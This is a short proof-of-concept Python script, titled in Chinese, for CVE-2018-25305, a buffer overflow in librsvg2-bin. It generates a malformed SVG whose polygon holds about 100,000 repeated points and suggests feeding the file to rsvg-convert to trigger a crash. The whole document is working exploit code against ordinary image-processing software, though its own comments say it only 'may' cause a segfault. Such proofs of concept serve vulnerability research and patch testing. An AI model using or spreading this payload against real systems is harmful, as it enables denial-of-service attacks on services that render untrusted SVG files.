CVE-2018-25305 librsvg2-bin缓冲区溢出漏洞

# PoC for CVE-2018-25305 (Buffer Overflow in librsvg2-bin) # This script generates a malformed SVG file that may trigger a segfault. import os def generate_malicious_svg(filename): # Creating a large polygon points string to potentially trigger buffer overflow # in the cairo image compositor. malicious_points = "0,0 " + "10000,10000 " * 100000 svg_content = f"""<?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <polygon points="{malicious_points}" fill="red"/> </svg> """ with open(filename, 'w') as f: f.write(svg_content) print(f"[+] Malformed SVG file '{filename}' generated successfully.") print(f"[+] Attempt to process it with: rsvg-convert {filename}") if __name__ == "__main__": generate_malicious_svg("poc_cve_2018_25305.svg")